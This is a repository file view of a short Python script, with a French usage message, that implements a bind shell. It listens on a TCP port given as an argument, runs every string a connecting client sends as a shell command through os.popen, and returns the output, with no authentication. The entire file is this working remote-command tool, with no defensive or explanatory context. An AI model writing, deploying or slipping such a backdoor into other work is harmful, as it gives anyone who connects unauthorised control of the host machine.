blob: 5213002a8a3c4ac5a54e43b06df920c7015646a6 (
plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
|
#!/usr/bin/env python
import sys, os, socket
def bindshell(port):
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('',port))
s.listen()
conn,addr = s.accept()
while 1:
data = conn.recv(1024)
reponse = os.popen(data.decode().strip()).read()
conn.sendall(str(reponse).encode())
except KeyboardInterrupt:
s.close()
finally:
print("bye")
if __name__ == "__main__":
try:
bindshell(int(sys.argv[1]))
except IndexError:
print(f"{sys.argv[0]} demande un port en agument")
|